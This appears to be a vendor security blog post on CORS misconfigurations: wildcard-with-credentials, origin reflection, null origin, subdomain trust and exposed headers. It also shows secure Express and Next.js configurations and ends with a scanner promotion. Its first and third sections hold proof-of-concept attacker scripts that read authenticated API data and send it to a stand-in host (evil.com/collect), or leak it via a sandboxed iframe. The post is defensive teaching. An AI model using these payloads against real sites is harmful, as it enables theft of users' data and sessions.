Research2026-03-219 min read

CORS Misconfiguration: How One Header Can Expose Your Entire API

Cross-Origin Resource Sharing is one of the most misunderstood browser security mechanisms. A single misconfigured header can let attackers steal user data from your API.

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which domains can make requests to your API. It exists because of the same-origin policy, a foundational rule that prevents a script on one origin from reading data from another origin. CORS is the controlled relaxation of that rule.

When configured correctly, CORS lets your frontend talk to your API while blocking malicious sites from doing the same. When configured incorrectly, it does the opposite: it lets any website in the world read your users' data, steal their sessions, and interact with your API on their behalf.

CORS misconfigurations are consistently ranked among the most common web security vulnerabilities. They appear in bug bounty programs, penetration test reports, and real-world breaches. The problem is not that CORS is hard to understand. It is that most developers configure it once, get it "working," and never audit it again.

How CORS works in 60 seconds

When a browser makes a cross-origin request (for example, app.example.com calling api.example.com), it checks the response for CORS headers. The most important ones are:

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

The browser reads Access-Control-Allow-Origin and compares it to the requesting origin. If they match, the response is allowed. If they do not match, the browser blocks the response. This all happens client-side. The server still processes the request; the browser just refuses to give the response to the calling script.

1. Wildcard origin with credentials

The most dangerous CORS misconfiguration is combining a wildcard origin with credentials. The HTTP specification explicitly forbids this combination, but some server frameworks silently allow it or fall back to reflecting the origin when credentials are present.

# Vulnerable response
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

If the server reflects the requesting origin when credentials are true (a common workaround to make the wildcard "work"), any website can send authenticated requests to your API and read the responses. The attack is simple:

// Attacker's page on evil.com
fetch("https://api.target.com/user/profile", {
  credentials: "include"  // sends victim's cookies
})
.then(res => res.json())
.then(data => {
  // data contains the victim's profile, email, tokens
  fetch("https://evil.com/collect", {
    method: "POST",
    body: JSON.stringify(data)
  });
});

If a logged-in user visits the attacker's page, their browser sends the request with cookies attached, and the response is readable because the CORS headers allow it.

2. Reflecting the Origin header without validation

Many applications dynamically set Access-Control-Allow-Origin by reading the incoming Origin header and echoing it back. This is the "lazy whitelist" approach, and it is equivalent to having no CORS policy at all.

# Vulnerable server code (Express.js)
app.use(cors({
  origin: (origin, callback) => {
    callback(null, origin);  // reflects any origin
  },
  credentials: true
}));

This is functionally identical to the wildcard-with-credentials problem. The attacker sends a request from https://evil.com, the server responds with Access-Control-Allow-Origin: https://evil.com, and the browser allows the response to be read.

How to test for this

Send a request with a custom Origin header and check if the server reflects it: curl -H "Origin: https://evil.com" -I https://target.com/api. If the response contains Access-Control-Allow-Origin: https://evil.com, the application is vulnerable.

3. Allowing null origin

Some applications whitelist the null origin, thinking it only applies to local files. In reality, an attacker can generate a null origin using a sandboxed iframe:

<iframe sandbox="allow-scripts allow-forms"
  srcdoc="
    <script>
      fetch('https://api.target.com/user/data', {
        credentials: 'include'
      })
      .then(r => r.json())
      .then(d => parent.postMessage(d, '*'));
    </script>
  ">
</iframe>

The sandboxed iframe sends requests with Origin: null. If the server responds with Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true, the attacker can read authenticated responses.

4. Trusting subdomains blindly

A common pattern is to whitelist all subdomains using a regex like *.example.com. The logic seems sound: "We control all our subdomains, so they should be trusted." The problem is that you may not control all of them.

If any subdomain is vulnerable to XSS, or if a subdomain points to a third-party service the attacker can claim (subdomain takeover), the attacker effectively gains a trusted origin. They can run JavaScript on compromised.example.com and make authenticated cross-origin requests to api.example.com that will be allowed by CORS.

Chain attack

Subdomain XSS + wildcard subdomain CORS = full API access. This is one of the most common attack chains in real-world penetration tests. A low-severity XSS on a forgotten subdomain escalates to critical when CORS trusts all subdomains.

Another regex pitfall: matching /example\.com$/ without anchoring. An attacker registers attackerexample.com and it passes the check.

5. Exposing sensitive headers

The Access-Control-Expose-Headers header controls which response headers are readable by JavaScript. By default, only a few "CORS-safelisted" headers are accessible. Some applications expose everything:

# Overly permissive
Access-Control-Expose-Headers: *

This can leak internal headers like X-Request-Id, X-RateLimit-Remaining, custom authorization headers, or server-internal routing information. Only expose headers that the frontend genuinely needs.

How to configure CORS correctly

The safest approach is an explicit whitelist. Never reflect the Origin header. Never use wildcards with credentials. Validate origins against a hard-coded list.

// Secure CORS configuration (Express.js)
const ALLOWED_ORIGINS = [
  "https://app.example.com",
  "https://admin.example.com",
];

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.includes(origin)) {
      callback(null, origin);
    } else {
      callback(new Error("Not allowed by CORS"));
    }
  },
  credentials: true,
  methods: ["GET", "POST", "PUT", "DELETE"],
  allowedHeaders: ["Content-Type", "Authorization"],
  exposedHeaders: ["X-Request-Id"],
  maxAge: 86400,
}));

For Next.js API routes, set CORS headers explicitly in your middleware or route handlers:

// Next.js middleware CORS check
const allowedOrigins = ["https://app.example.com"];

export function middleware(request: NextRequest) {
  const origin = request.headers.get("origin");
  const response = NextResponse.next();

  if (origin && allowedOrigins.includes(origin)) {
    response.headers.set("Access-Control-Allow-Origin", origin);
    response.headers.set("Access-Control-Allow-Credentials", "true");
    response.headers.set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
  }

  return response;
}

How Recon0x detects CORS issues

The Recon0x quick scan includes a dedicated CORS check that tests your application against all five misconfiguration patterns described above. The scanner sends requests with various Origin headers and analyzes how your server responds:

It tests with a random external origin to detect origin reflection. It tests with a null origin to detect null acceptance. It tests with subdomain variations to detect weak regex patterns. It checks whether credentials are allowed alongside permissive origins. It inspects exposed headers for sensitive information leakage.

Each finding includes the exact request and response headers, the attack scenario, and the recommended fix.

Test your CORS policy for free

Run a free security scan on your website. No account required.

Get your free scan

Sources

  • OWASP CORS Misconfiguration
  • PortSwigger Web Security Academy: CORS
  • MDN Web Docs: Cross-Origin Resource Sharing (CORS)
  • Fetch Standard: CORS Protocol (whatwg.org)
  • PortSwigger Research: Exploiting CORS Misconfigurations for Bitcoins and Bounties